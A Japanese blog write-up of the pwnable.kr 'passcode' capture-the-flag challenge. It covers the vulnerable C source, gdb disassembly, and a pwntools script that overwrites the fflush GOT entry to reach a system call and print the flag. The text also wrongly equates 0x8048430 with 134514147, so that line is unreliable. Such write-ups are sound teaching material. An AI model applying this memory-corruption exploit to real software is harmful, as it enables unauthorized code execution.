LoginSignup
0
0

More than 3 years have passed since last update.

Pwnable.kr-[passcode] writeup

Posted at

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

passcode@pwnable:~$ ls -l
total 16
-r--r----- 1 root passcode_pwn   48 Jun 26  2014 flag
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26  2014 passcode
-rw-r--r-- 1 root root          858 Jun 26  2014 passcode.c
passcode@pwnable:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;   
}

login()内のscanfにバグがありますね。scanfの引数は変数へのポインタでなければいけないところをpasscode1,2の中身を渡しています。また、login()の前のwelcome()でのname[100]があった領域がpasscode1,2に割り当てられていることから、nameへの入力を操作してpasscode1,2の値を調整しその値が示すアドレスに任意の書き込みができるということがわかります。
それではgdbで変数の具体的な位置関係を調べます。

(gdb) disas main
Dump of assembler code for function main:
   0x08048665 <+0>: push   %ebp
   0x08048666 <+1>: mov    %esp,%ebp
   0x08048668 <+3>: and    $0xfffffff0,%esp
   0x0804866b <+6>: sub    $0x10,%esp
   0x0804866e <+9>: movl   $0x80487f0,(%esp)
   0x08048675 <+16>:    call   0x8048450 <puts@plt>
   0x0804867a <+21>:    call   0x8048609 <welcome>
   0x0804867f <+26>:    call   0x8048564 <login>
   0x08048684 <+31>:    movl   $0x8048818,(%esp)
   0x0804868b <+38>:    call   0x8048450 <puts@plt>
   0x08048690 <+43>:    mov    $0x0,%eax
   0x08048695 <+48>:    leave  
   0x08048696 <+49>:    ret    
End of assembler dump.
(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>: push   %ebp
   0x0804860a <+1>: mov    %esp,%ebp
   0x0804860c <+3>: sub    $0x88,%esp
   0x08048612 <+9>: mov    %gs:0x14,%eax
   0x08048618 <+15>:    mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:    xor    %eax,%eax
   0x0804861d <+20>:    mov    $0x80487cb,%eax
   0x08048622 <+25>:    mov    %eax,(%esp)
   0x08048625 <+28>:    call   0x8048420 <printf@plt>
   0x0804862a <+33>:    mov    $0x80487dd,%eax
   0x0804862f <+38>:    lea    -0x70(%ebp),%edx
   0x08048632 <+41>:    mov    %edx,0x4(%esp)
   0x08048636 <+45>:    mov    %eax,(%esp)
   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:    mov    $0x80487e3,%eax
   0x08048643 <+58>:    lea    -0x70(%ebp),%edx
   0x08048646 <+61>:    mov    %edx,0x4(%esp)
   0x0804864a <+65>:    mov    %eax,(%esp)
   0x0804864d <+68>:    call   0x8048420 <printf@plt>
   0x08048652 <+73>:    mov    -0xc(%ebp),%eax
   0x08048655 <+76>:    xor    %gs:0x14,%eax
   0x0804865c <+83>:    je     0x8048663 <welcome+90>
   0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:    leave  
   0x08048664 <+91>:    ret    
End of assembler dump.
(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>: push   %ebp
   0x08048565 <+1>: mov    %esp,%ebp
   0x08048567 <+3>: sub    $0x28,%esp
   0x0804856a <+6>: mov    $0x8048770,%eax
   0x0804856f <+11>:    mov    %eax,(%esp)
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    $0x8048783,%eax
   0x0804857c <+24>:    mov    -0x10(%ebp),%edx
   0x0804857f <+27>:    mov    %edx,0x4(%esp)
   0x08048583 <+31>:    mov    %eax,(%esp)
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    0x804a02c,%eax
   0x08048590 <+44>:    mov    %eax,(%esp)
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   0x08048598 <+52>:    mov    $0x8048786,%eax
   0x0804859d <+57>:    mov    %eax,(%esp)
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    $0x8048783,%eax
   0x080485aa <+70>:    mov    -0xc(%ebp),%edx
   0x080485ad <+73>:    mov    %edx,0x4(%esp)
   0x080485b1 <+77>:    mov    %eax,(%esp)
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    movl   $0x8048799,(%esp)
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   movl   $0x80487a5,(%esp)
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   movl   $0x80487af,(%esp)
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave  
   0x080485f0 <+140>:   ret    
   0x080485f1 <+141>:   movl   $0x80487bd,(%esp)
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   movl   $0x0,(%esp)
   0x08048604 <+160>:   call   0x8048480 <exit@plt>
End of assembler dump.

welcome()内でのnameの位置は-0x70(%ebp)、login()内でのpasscode1,passcode2の位置はそれぞれ-0x10(%ebp),-0xc(%ebp)なのでnameの96バイト下位にpasscode1,100バイト下位にpasscode2があることがわかります。従ってpasscode1には任意の値を渡せるので GOT overwrite によってsystem関数を呼び出すようにします。

(gdb) disas 0x8048430
Dump of assembler code for function fflush@plt:
   0x08048430 <+0>: jmp    *0x804a004
   0x08048436 <+6>: push   $0x8
   0x0804843b <+11>:    jmp    0x8048410
End of assembler dump.

よって、0x8048430 = 134514147 を入力します。

soma@soma-E200HA:~/mine/pwnable$ cat passcode_pwn.py
from pwn import *

s1 = ssh(host="pwnable.kr", user="passcode", password="guest", port=2222)
r1 = s1.process("./passcode")
print(r1.recvuntil("enter you name : "))
r1.send("A"*96 + "\x04\xa0\x04\x08")
print(r1.recvuntil("enter passcode1 : "))
r1.sendline("134514147")
print (r1.recv())

soma@soma-E200HA:~/mine/pwnable$ python3 passcode_pwn.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] col@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process './passcode' on pwnable.kr: pid 279119
b"Toddler's Secure Login System 1.0 beta.\nenter you name : "
b'Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x04\xa0\x04\x08!\nenter passcode1 : '
b'Sorry mom.. I got confused about scanf usage :(\nNow I can safely trust you that you have credential :)\n'
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0